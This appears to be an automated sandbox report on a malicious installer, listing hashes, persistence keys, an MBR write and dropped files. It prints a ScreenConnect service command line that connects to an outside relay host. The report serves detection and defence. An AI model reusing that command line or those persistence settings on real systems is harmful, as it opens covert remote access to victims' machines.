Analysis
- geolocation tags
nanew-jerseynorth-americaunited-statesususa - user interaction
yes - max time kernel
598s - max time network
600s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
22/07/2026, 18:06
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
arlingtonchamber.exe
Resource
win10v2004-20260513-en
windows10-2004-x64
31 signatures
600 seconds
Behavioral task
behavioral2
Sample
arlingtonchamber.exe
Resource
win11ltsc2024-20260709-en
windows11-ltsc_2024-x64
36 signatures
600 seconds
General
- Target arlingtonchamber.exe
- Size 76.4MB
- Sample260722-wpqfpsem6t
- SHA256 2726e3c8ecac30154d4c2c9c3da9f5942bab8ce25b43771ab888d65a2bd2f59c
- MD5 e9c842e3043a5e287612f4e24badb3d3
- SHA1 f47306c562708fa1c2b54b0af931668cd3070689
- SHA512 5aef127bc51b768058e1aa93b1a5a7ff3e1c132e51f9175d712de7665dbf151c8632294b56b96dff3c3a4b3ab00d0061cb617965b0db598fe4a625a16c78d0e2
- SSDEEP 1572864:FqnRKucBo8QYoex4GNpojnhK6x4lAy6I35do0lolLW0BEROoexIVPylcHGovpr:FiLVelepClAy6uw3W0BEROh2nvvV
- TLSH T12108011377948131E1AB5230692E9739D67ABCB14B3092CB738C7A2D1F377D09A36726
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 33 4792 msiexec.exe 135 1304 PowerShell.exe - Downloads MZ/PE file 7 IoCs
flow pid Process 20 828 ModulesUpgradeMgr.exe 20 828 ModulesUpgradeMgr.exe 46 760 UpdateHelper.exe 68 760 UpdateHelper.exe 112 1804 FWAService.exe 120 4364 scriptrunner.exe 118 4364 scriptrunner.exe - Sets service image path in registry 3 TTPs 1 IoCs
This determines the executable launched when a service starts. It can be used to establish persistence.
description ioc Process Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\ScreenConnect Client (ff55c805740d9225)\ImagePath = "\"C:\\Program Files (x86)\\ScreenConnect Client (ff55c805740d9225)\\ScreenConnect.ClientService.exe\" \"?e=Access&y=Guest&h=relay.masharayapanel.top&p=8041&s=cfa3ea11-9112-4d63-8d0f-0b9fc8f44332&k=BgIAAACkAABSU0ExAAgAAAEAAQDNf5LzcJGytXOKYhggtdC%2bAvjhMeYbZhF3RqkPajRE93zK3zZ%2bFt5Lxp9OCGMjAX2GonVBwT347t99z9LqikkbzLT%2fKycsa%2fJ%2fln3XwJKCTbUM6kMwfPc1CQUrdXNnBSkoOqslfzRgWsFjiP%2bwOiaGhhlRQnicBLsFTzmUYpCnLPgyDY5yqsqgf9e54j4Rs%2biPokS%2fpts%2fZbBxSTNA5yJ9u99bNad4y%2fuQTBjiIji7oyVhdbbS0E1ZggAf%2ffFMUM7tH5ATrKU6UxuPxB0d8ZLZS%2fxy67SzPSn0UeQN8ZUUOqZyuIIHoKyg3Ytzn7%2b1Ql3xi%2fpt58yWOBTukc3KT1W8&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAAQ%2fhSTBw1sUO0skS28pJRRwAAAAACAAAAAAAQZgAAAAEAACAAAABlNMwaNzavcr%2bwwoeMHyoUWpC%2fh%2bCDLaochlfvDukN3wAAAAAOgAAAAAIAACAAAAAFRLV1B%2bjaD2CjUBX%2bS8vZP84whf3Y58WHFhR4rQ82VKAEAAAVIPAsGh8Gzy4Uno1eRc2mow2MikCs41J0ibC2vBAQg%2bSyxA4YaHLnd7aBUC2wVVt2NPwKCINf0JnaYC8Xt4TTTGuOUlAwT1yLG2v4z%2bZSdvF9HbE3Qu5wcnDwQSbVoyzplu0GhO7xt3jXwkJ9DD0cLZOT%2bjFDeRFbw8EhtHQ5HWEqCsTjiIIU8rZU%2bUc2iieZZr9BdxMG%2bZWHcN2dM74%2fGBVUutHwYgUOqHWTYyA%2fRDD5SxSM%2fFw1jC1k9nsNf3pIfTglz%2b0LYrSlO46WioM7KGe%2bPPVbH3dM%2fPF6x0ESTxof5UFdziSnlHDmCqu%2b5NF9dBIJaFDWWTfPVtc5zULc7DgAnoPMT7TThhmEt%2fw07DBLA5VYuyKUrbPW%2bfe%2bPOuoVL6IH2GTapsUJvkQLGvU32gnmlJvm1Kw8tdzMLEtcmidlVDgCs0M0wRIeweuvehlEtad2dk0%2bHPzuTnSoKSPg8lDVgI8Pludz6iUhZwFDBHGN8e%2fChA%2bo%2fEQ4Wtd4cTnEcBgQDcF8ck5aly5oz0p%2fLv42yUPwc9Q5p1%2bS%2bi8Vu3yuiE%2bPVW5sLetqfRCSPQw2kcgZX5srqDxSWt4cD3paWHf%2fpkXJDe4tbE4kE46KFoPjLk4lbQjKe8jiIuWpHlM9yUBzuBIj5WixSdcpitPTuPeOveqIAV9%2b7yHN0luoqZKglk17wUgVzBqLpQkHCuiI67BHWVTQ%2fJwnu42AJPhLF%2bw4tC414NtSTqKEDeEMt3IwlMe2wtyDMc8C5ymbPB1pCBxOPoqI080DdpUlUMEf35Ws3MCAu3jcpw0W3oxvjhUDS7AGSxTUfhIVvOo%2fVklk5191y07jy1BkZeejaFhYYtZZ0rGDmghz8%2bvhD9ObLIHl09DYPQcvjsnE%2bNP4Kx5PPTeMDqH1%2bNeiE138IWTYWJTpwpDafT9A%2fs7Ch1Fm0Bmh8qYLQgbXIxjgRwB8x9ALs16OQ0UHZHh4%2fpty%2bHGU9VEAWln5e%2fC8HY5BYrrKZ2DNiVZ3gwcFW3u7C7x2VUO4Yw9Gjoq4eNE02kIsZFVxT2Txta3JrJk%2bz59LAgSpJB9Tm5BKOEOApfokpVMXXGV1fcxjLsFcZkl0jK6w07aPM6Iot0cCAPNT7PMTC%2bxLgQgBFIeES6VhAUiXQNewAW3Mqx7vsuJx%2fL9QhceHTKO6JZUp%2fplZ92nrxE5I9h2jBWA7fH27laXE5LdcBBCzeDoRozNrJjwnlmDr%2fjEmHT4Px5ogIoRgs7AOTMdb8ySXgOixL14u9B%2b7L44NGWl%2btiluiwx%2bAmPJ08llKk6uow1OfkPOz4GkDKfK3FJWHBln4b9f%2bHvkUfSRZL424wM%2f8cnV2earN9oY5FqKck9cLwuHufqhf%2bJZjMHJO7Z1OUqZWwYbjub46KK4vdFdNRlHsAvv2Gytuo9nikZibaE%2bWYrpC%2boUYgLtj9RK3BGcSZkPd%2bAB2c85EhmOEMffJSW%2bd%2bndq0sVwh%2bb0W7QxrTg%2fnJPbOVdMIgowT2Ekt%2b7G0nP8tu%2b73jhfDIfTIpZ%2b0V9Oo24fVRA983XrNQdO%2f6O6h5t2apNcF3OsqGb57j%2bEEPe0AAAAAT6LDILqLlRRERY26ahKPT7njWsjv4NmNzOC%2fcQ48VmtthOPkvUK7mjNMzeEcCWHJBrJ%2fo%2bmek7MyThyMy7gRf\"" ScreenConnect.ClientService.exe - Signed with revoked ConnectWise certificate 3 IoCs
Binary is signed using a ConnectWise certificate revoked for key compromise.
resource yara_rule behavioral1/files/0x000200000002348b-1389.dat revoked_cert_connectwise behavioral1/memory/4944-1392-0x0000000004400000-0x00000000046F2000-memory.dmp revoked_cert_connectwise behavioral1/memory/888-1456-0x00000000046A0000-0x0000000004775000-memory.dmp revoked_cert_connectwise - Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
- Executes dropped EXE 35 IoCs
pid Process 1796 FWAInstallMonitor.exe 768 FWAService.exe 828 ModulesUpgradeMgr.exe 2268 SUDLLUpdaterPatch.exe 4332 SUDLLUpdaterPatch.exe 4312 FTAgentTmp.exe 3840 FTAgent.exe 1804 FWAService.exe 2324 ModulesUpgradeMgr.exe 996 FWA_UI_Agent.exe 3908 FWAInstallMonitor.exe 1036 wacD950.tmp 3156 wacD950.tmp 760 UpdateHelper.exe 3840 FWUSvc.exe 360 FWA_UI_Agent.exe 3476 FWUSvc.exe 1556 wac6B7E.tmp 560 wac6B7E.tmp 1192 USEngine.exe 2776 ImgClient.exe 4364 scriptrunner.exe 4944 ScreenConnect.ClientSetup.exe 888 ScreenConnect.ClientService.exe 3964 ScreenConnect.WindowsClient.exe 4948 ScreenConnect.WindowsClient.exe 1192 ScreenConnect.WindowsClient.exe 4360 ScreenConnect.WindowsClient.exe 4976 ScreenConnect.WindowsBackstageShell.exe 1244 ScreenConnect.WindowsClient.exe 1504 ScreenConnect.WindowsFileManager.exe 2932 HideUL.exe 1912 HideUL_x64.exe 1520 ScreenConnect.WindowsClient.exe 4192 FWUSvc.exe - Loads dropped DLL 64 IoCs
pid Process 404 MsiExec.exe 404 MsiExec.exe 404 MsiExec.exe 404 MsiExec.exe 404 MsiExec.exe 404 MsiExec.exe 4608 MsiExec.exe 3316 regsvr32.exe 4608 MsiExec.exe 4608 MsiExec.exe 4608 MsiExec.exe 4608 MsiExec.exe 2272 regsvr32.exe 4608 MsiExec.exe 3756 Process not Found 4608 MsiExec.exe 4608 MsiExec.exe 4608 MsiExec.exe 1804 FWAService.exe 4608 MsiExec.exe 404 MsiExec.exe 2480 MsiExec.exe 1804 FWAService.exe 2480 MsiExec.exe 2480 MsiExec.exe 4552 MsiExec.exe 4552 MsiExec.exe 4552 MsiExec.exe 1804 FWAService.exe 1804 FWAService.exe 1804 FWAService.exe 1804 FWAService.exe 1804 FWAService.exe 760 UpdateHelper.exe 760 UpdateHelper.exe 3476 FWUSvc.exe 1804 FWAService.exe 1804 FWAService.exe 1804 FWAService.exe 1804 FWAService.exe 2480 MsiExec.exe 2480 MsiExec.exe 3292 MsiExec.exe 3736 MsiExec.exe 3292 MsiExec.exe 3736 MsiExec.exe 3736 MsiExec.exe 2984 MsiExec.exe 2984 MsiExec.exe 560 wac6B7E.tmp 2984 MsiExec.exe 1804 FWAService.exe 1804 FWAService.exe 1804 FWAService.exe 1804 FWAService.exe 1804 FWAService.exe 1804 FWAService.exe 1804 FWAService.exe 4452 MsiExec.exe 4452 MsiExec.exe 2444 MsiExec.exe 2444 MsiExec.exe 2444 MsiExec.exe 1804 FWAService.exe - Adds Run key to start application 2 TTPs 3 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\FaronicsTicketing = "C:\\ProgramData\\Faronics\\StorageSpace\\FWA\\modules\\FTAgent.exe" FTAgentTmp.exe Set value (str) \REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\FaronicsOfflineInstaller = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\arlingtonchamber.exe\" -r" arlingtonchamber.exe Set value (str) \REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\FaronicsOfflineInstaller = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\arlingtonchamber.exe\" -r" arlingtonchamber.exe - Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Enumerates connected drives 3 TTPs 64 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\J: Msiexec.exe File opened (read-only) \??\R: Msiexec.exe File opened (read-only) \??\T: Msiexec.exe File opened (read-only) \??\T: Msiexec.exe File opened (read-only) \??\E: Msiexec.exe File opened (read-only) \??\X: Msiexec.exe File opened (read-only) \??\U: Msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\M: Msiexec.exe File opened (read-only) \??\Y: Msiexec.exe File opened (read-only) \??\O: Msiexec.exe File opened (read-only) \??\A: Msiexec.exe File opened (read-only) \??\S: Msiexec.exe File opened (read-only) \??\V: Msiexec.exe File opened (read-only) \??\Z: Msiexec.exe File opened (read-only) \??\H: Msiexec.exe File opened (read-only) \??\I: Msiexec.exe File opened (read-only) \??\Q: Msiexec.exe File opened (read-only) \??\G: Msiexec.exe File opened (read-only) \??\N: Msiexec.exe File opened (read-only) \??\L: Msiexec.exe File opened (read-only) \??\R: Msiexec.exe File opened (read-only) \??\H: Msiexec.exe File opened (read-only) \??\G: Msiexec.exe File opened (read-only) \??\K: Msiexec.exe File opened (read-only) \??\W: Msiexec.exe File opened (read-only) \??\P: Msiexec.exe File opened (read-only) \??\Y: Msiexec.exe File opened (read-only) \??\R: Msiexec.exe File opened (read-only) \??\M: Msiexec.exe File opened (read-only) \??\B: Msiexec.exe File opened (read-only) \??\S: Msiexec.exe File opened (read-only) \??\K: Msiexec.exe File opened (read-only) \??\M: Msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\O: Msiexec.exe File opened (read-only) \??\F: ScreenConnect.WindowsFileManager.exe File opened (read-only) \??\Q: Msiexec.exe File opened (read-only) \??\R: Msiexec.exe File opened (read-only) \??\L: Msiexec.exe File opened (read-only) \??\N: Msiexec.exe File opened (read-only) \??\E: Msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\N: Msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\Z: Msiexec.exe File opened (read-only) \??\Z: Msiexec.exe File opened (read-only) \??\P: Msiexec.exe File opened (read-only) \??\H: Msiexec.exe File opened (read-only) \??\D: ScreenConnect.WindowsFileManager.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\A: Msiexec.exe File opened (read-only) \??\X: Msiexec.exe File opened (read-only) \??\D: ScreenConnect.WindowsBackstageShell.exe File opened (read-only) \??\O: Msiexec.exe File opened (read-only) \??\V: Msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\W: Msiexec.exe File opened (read-only) \??\B: Msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\T: Msiexec.exe - Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
description ioc Process File opened for modification \??\PHYSICALDRIVE0 FWAService.exe - Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs
Suspicious Windows Authentication Registry Modification.
description ioc Process Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\Authentication Packages = 6d007300760031005f003000000043003a005c00500072006f006700720061006d002000460069006c00650073002000280078003800360029005c00530063007200650065006e0043006f006e006e00650063007400200043006c00690065006e00740020002800660066003500350063003800300035003700340030006400390032003200350029005c00530063007200650065006e0043006f006e006e006500630074002e00570069006e0064006f0077007300410075007400680065006e007400690063006100740069006f006e005000610063006b006100670065002e0064006c006c0000000000 msiexec.exe - Drops file in System32 directory 64 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\698460A0B6E60F2F602361424D832905_8BB23D43DE574E82F2BEE0DF0EC47EEB FWAService.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8EC9B1D0ABBD7F98B401D425828828CE_BC2CC0A899B13419B010C5F42995E7FF FWAService.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Explorer\thumbcache_wide.db ScreenConnect.WindowsFileManager.exe File created C:\Windows\system32\wbem\AutoRecover\48CEEC55102547DB8D2945999C51BC92.mof mofcomp.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft FWAService.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\42B9A473B4DAF01285A36B4D3C7B1662_178C086B699FD6C56B804AF3EF759CB5 FWAService.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Explorer\iconcache_sr.db ScreenConnect.WindowsBackstageShell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Explorer\iconcache_768.db ScreenConnect.WindowsBackstageShell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Explorer\iconcache_256.db ScreenConnect.WindowsFileManager.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Explorer\thumbcache_32.db ScreenConnect.WindowsFileManager.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt PowerShell.exe File created C:\Windows\system32\wbem\AutoRecover\1814E26C1E25849B8396DBC50D93D010.mof mofcomp.exe File created C:\Windows\system32\wbem\AutoRecover\AAF97DF8955A0A044709078E6305D4FE.mof mofcomp.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\07CEF2F654E3ED6050FFC9B6EB844250_E6095CD2AECC9011BCD0D7B421356B17 FWAService.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\ScreenConnect.ClientSetup.exe.log ScreenConnect.ClientSetup.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\ScreenConnect.WindowsClient.exe.log ScreenConnect.WindowsClient.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Explorer\iconcache_256.db ScreenConnect.WindowsBackstageShell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Explorer\thumbcache_48.db ScreenConnect.WindowsFileManager.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData FWAService.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content FWAService.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Explorer\thumbcache_256.db ScreenConnect.WindowsFileManager.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\698460A0B6E60F2F602361424D832905_8BB23D43DE574E82F2BEE0DF0EC47EEB FWAService.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8EC9B1D0ABBD7F98B401D425828828CE_8D9F064440398521BA9116339D131399 FWAService.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (ff55c805740d9225)\1o2xholu.newcfg ScreenConnect.ClientService.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Explorer\iconcache_96.db ScreenConnect.WindowsBackstageShell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Explorer\iconcache_32.db ScreenConnect.WindowsFileManager.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Explorer\thumbcache_16.db ScreenConnect.WindowsFileManager.exe File created C:\Windows\system32\wbem\AutoRecover\1C29FC8FA2CF87E04D41BFB25C6A2483.mof mofcomp.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Explorer\iconcache_exif.db ScreenConnect.WindowsBackstageShell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Explorer\thumbcache_96.db ScreenConnect.WindowsFileManager.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Explorer\iconcache_16.db ScreenConnect.WindowsBackstageShell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\66AE3BFDF94A732B262342AD2154B86E_ECDD3935CC754E5CFA6B9F744727AB95 FWAService.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Explorer\iconcache_32.db ScreenConnect.WindowsBackstageShell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Explorer\thumbcache_1920.db ScreenConnect.WindowsFileManager.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141 FWAService.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\rundll32.exe.log rundll32.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (ff55c805740d9225)\1o2xholu.tmp ScreenConnect.ClientService.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache PowerShell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Explorer\iconcache_16.db ScreenConnect.WindowsFileManager.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive PowerShell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Explorer\thumbcache_2560.db ScreenConnect.WindowsFileManager.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8EC9B1D0ABBD7F98B401D425828828CE_BC2CC0A899B13419B010C5F42995E7FF FWAService.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\42B9A473B4DAF01285A36B4D3C7B1662_178C086B699FD6C56B804AF3EF759CB5 FWAService.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\07CEF2F654E3ED6050FFC9B6EB844250_E6095CD2AECC9011BCD0D7B421356B17 FWAService.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\D7833C286363AD25C70511661A83D581_C1A41D5D7C8988E93E0A1E0DF528ADB1 FWAService.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Explorer\iconcache_48.db ScreenConnect.WindowsBackstageShell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\ScreenConnect.WindowsFileManager.exe.log ScreenConnect.WindowsFileManager.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\PowerShell.exe.log PowerShell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141 FWAService.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B2FAF7692FD9FFBD64EDE317E42334BA_D7393C8F62BDE4D4CB606228BC7A711E FWAService.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Explorer\iconcache_custom_stream.db ScreenConnect.WindowsBackstageShell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Explorer\thumbcache_idx.db ScreenConnect.WindowsFileManager.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Explorer\thumbcache_sr.db ScreenConnect.WindowsFileManager.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache FWAService.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8EC9B1D0ABBD7F98B401D425828828CE_8D9F064440398521BA9116339D131399 FWAService.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\66AE3BFDF94A732B262342AD2154B86E_ECDD3935CC754E5CFA6B9F744727AB95 FWAService.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B2FAF7692FD9FFBD64EDE317E42334BA_D7393C8F62BDE4D4CB606228BC7A711E FWAService.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\D7833C286363AD25C70511661A83D581_C1A41D5D7C8988E93E0A1E0DF528ADB1 FWAService.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Explorer\iconcache_idx.db ScreenConnect.WindowsBackstageShell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Explorer\iconcache_2560.db ScreenConnect.WindowsBackstageShell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Explorer\iconcache_wide.db ScreenConnect.WindowsBackstageShell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\66AE3BFDF94A732B262342AD2154B86E_FDA5B48150D0FCAF7FF7B29F2E7B2C5D FWAService.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\66AE3BFDF94A732B262342AD2154B86E_FDA5B48150D0FCAF7FF7B29F2E7B2C5D FWAService.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Explorer\iconcache_1920.db ScreenConnect.WindowsBackstageShell.exe - Drops file in Program Files directory 64 IoCs
description ioc Process File created C:\Program Files (x86)\Faronics\Faronics Deploy Agent\FWAMigrator.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (ff55c805740d9225)\ScreenConnect.WindowsAuthenticationPackage.dll msiexec.exe File created C:\Program Files (x86)\Faronics\UsageStats\USAdapter.dll msiexec.exe File created C:\Program Files\Faronics\UsageStats\USEngine.exe msiexec.exe File created C:\Program Files (x86)\Faronics\Imaging\IMGMigrator.dll msiexec.exe File created C:\Program Files (x86)\Faronics\Imaging\ImgPEHelper_32.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (ff55c805740d9225)\ScreenConnect.Core.dll msiexec.exe File created C:\Program Files (x86)\Faronics\Faronics Deploy Agent\FaronicsWebProduct.mof msiexec.exe File created C:\Program Files (x86)\Faronics\Faronics Deploy Agent\UserNotificationHelper.exe msiexec.exe File created C:\Program Files (x86)\Faronics\Faronics Deploy Agent\StorageSpaces.mof msiexec.exe File created C:\Program Files\Faronics\Software Updater\SUCMigrator.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (ff55c805740d9225)\ScreenConnect.ClientService.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (ff55c805740d9225)\ScreenConnect.WindowsBackstageShell.exe.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (ff55c805740d9225)\Client.resources msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (ff55c805740d9225)\system.config msiexec.exe File created C:\Program Files (x86)\Faronics\Faronics Deploy Agent\WebAgent.mof msiexec.exe File created C:\Program Files\Faronics\Software Updater\7-Zip\license.txt msiexec.exe File created C:\Program Files (x86)\Faronics\Faronics Deploy Agent\FarWsClient.dll msiexec.exe File created C:\Program Files (x86)\Faronics\Faronics Deploy Agent\FwaCore.dll msiexec.exe File created C:\Program Files (x86)\Faronics\Faronics Deploy Agent\FSSInstaller.exe msiexec.exe File created C:\Program Files\Faronics\Software Updater\WUCore.dll msiexec.exe File created C:\Program Files\Faronics\UsageStats\USScanner64.dll msiexec.exe File created C:\Program Files (x86)\Faronics\Faronics Deploy Agent\FWA_UI_Agent.exe msiexec.exe File created C:\Program Files (x86)\Faronics\Faronics Deploy Agent\ScreenCapture.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (ff55c805740d9225)\Client.en-US.resources msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (ff55c805740d9225)\Client.Override.en-US.resources msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (ff55c805740d9225)\Client.Override.resources msiexec.exe File created C:\Program Files\Faronics\UsageStats\USInstance64.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (ff55c805740d9225)\ScreenConnect.WindowsCredentialProvider.dll msiexec.exe File created C:\Program Files (x86)\Faronics\Faronics Deploy Agent\FaronicsWebProduct_v2.mof msiexec.exe File created C:\Program Files\Faronics\Software Updater\SFTPClient.dll msiexec.exe File created C:\Program Files (x86)\Faronics\Faronics Deploy Agent\FWAService.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (ff55c805740d9225)\ScreenConnect.WindowsClient.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (ff55c805740d9225)\ScreenConnect.WindowsFileManager.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (ff55c805740d9225)\ScreenConnect.ClientService.exe msiexec.exe File created C:\Program Files (x86)\Faronics\Faronics Deploy Agent\MigrationHelper_64.exe msiexec.exe File created C:\Program Files\Faronics\Software Updater\7-Zip\7z.dll msiexec.exe File created C:\Program Files\Faronics\Software Updater\UpdateHelper.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (ff55c805740d9225)\ScreenConnect.WindowsBackstageShell.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (ff55c805740d9225)\ScreenConnect.Windows.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (ff55c805740d9225)\app.config msiexec.exe File created C:\Program Files\Faronics\UsageStats\USProvider.dll msiexec.exe File created C:\Program Files (x86)\Faronics\Imaging\ImgClient.exe msiexec.exe File created C:\Program Files 